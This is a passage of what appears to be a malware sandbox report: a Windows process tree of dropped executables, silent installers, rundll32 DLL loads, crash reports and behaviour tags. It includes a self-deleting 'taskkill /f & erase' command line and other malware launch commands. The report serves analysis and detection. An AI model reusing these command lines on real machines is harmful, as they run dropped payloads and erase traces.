                                                                            4⤵
                                                                              PID:5604
                                                                              • C:\Users\Admin\AppData\Local\Temp\ekxx4kpg.o5k\gcleaner.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\ekxx4kpg.o5k\gcleaner.exe /mixfive
                                                                                5⤵
                                                                                  PID:6748
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 772
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:3904
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 808
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:6792
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 888
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:7200
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 928
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:5984
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 1176
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:6760
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 1188
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:6576
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ekxx4kpg.o5k\gcleaner.exe" & exit
                                                                                    6⤵
                                                                                      PID:7112
                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                        taskkill /im "gcleaner.exe" /f
                                                                                        7⤵
                                                                                        • Kills process with taskkill
                                                                                        PID:5880
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\03meot5e.nvb\autosubplayer.exe /S & exit
                                                                                  4⤵
                                                                                    PID:7092
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                              Tue11e4e580f2e8141a3.exe
                                                                              1⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              PID:4248
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:4596
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:3796
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                2⤵
                                                                                  PID:5380
                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                  2⤵
                                                                                    PID:6004
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:4452
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                    2⤵
                                                                                      PID:5536
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                      2⤵
                                                                                        PID:4484
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                        2⤵
                                                                                          PID:4172
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                          2⤵
                                                                                            PID:5288
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                            2⤵
                                                                                              PID:3308
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                              2⤵
                                                                                                PID:4824
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                2⤵
                                                                                                  PID:6324
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                  2⤵
                                                                                                    PID:6852
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                    2⤵
                                                                                                    • Loads dropped DLL
                                                                                                    PID:4376
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                    2⤵
                                                                                                      PID:4608
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                      2⤵
                                                                                                        PID:4304
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                        2⤵
                                                                                                          PID:5716
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                          2⤵
                                                                                                            PID:6096
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                            2⤵
                                                                                                              PID:7320
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                              2⤵
                                                                                                                PID:7972
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                2⤵
                                                                                                                  PID:6736
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                  2⤵
                                                                                                                    PID:7584
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                    2⤵
                                                                                                                      PID:6376
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                      2⤵
                                                                                                                        PID:6820
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                        2⤵
                                                                                                                          PID:4184
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                          2⤵
                                                                                                                            PID:7060
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                            2⤵
                                                                                                                              PID:8032
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                              2⤵
                                                                                                                                PID:7812
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                2⤵
                                                                                                                                  PID:3732
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                  2⤵
                                                                                                                                    PID:7424
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                    2⤵
                                                                                                                                      PID:8112
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                      2⤵
                                                                                                                                        PID:5268
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                        2⤵
                                                                                                                                          PID:4288
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                          2⤵
                                                                                                                                            PID:7844
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                            2⤵
                                                                                                                                              PID:7228
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                              2⤵
                                                                                                                                                PID:7944
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:7912
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:8016
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    2⤵
                                                                                                                                                      PID:7888
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      2⤵
                                                                                                                                                        PID:8128
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        2⤵
                                                                                                                                                          PID:8184
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          2⤵
                                                                                                                                                            PID:5248
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5088
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              2⤵
                                                                                                                                                                PID:8060
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:7872
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:8144
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:8136
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:8188
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:7064
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:3828
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1040
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:6732
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:6560
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5752
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:5116
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:5720
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:5964
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3800
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:6092
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:6648
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:4232
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:7276
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4388
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:6504
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:5780
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:5400
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4288
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:6652
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:768
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:7840
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:7800
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:5852
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:7376
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:4208
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:4180
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:4392
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-SAL7S.tmp\setup_2.tmp
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-SAL7S.tmp\setup_2.tmp" /SL5="$D004E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                              PID:1860
                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            PID:4384
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:5124
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-G7J47.tmp\setup_2.tmp
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-G7J47.tmp\setup_2.tmp" /SL5="$401DC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                              PID:4916
                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                              PID:2476
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1876
                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:6384
                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:6516
                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:6452
                                                                                                                                                                                                                                    • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                      C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:4116
                                                                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding B217194E9FFDA8CD41096DC169A06372 C
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:5876
                                                                                                                                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding 1114F5A04832CE4D8CC375E30F7A0496
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:7640
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
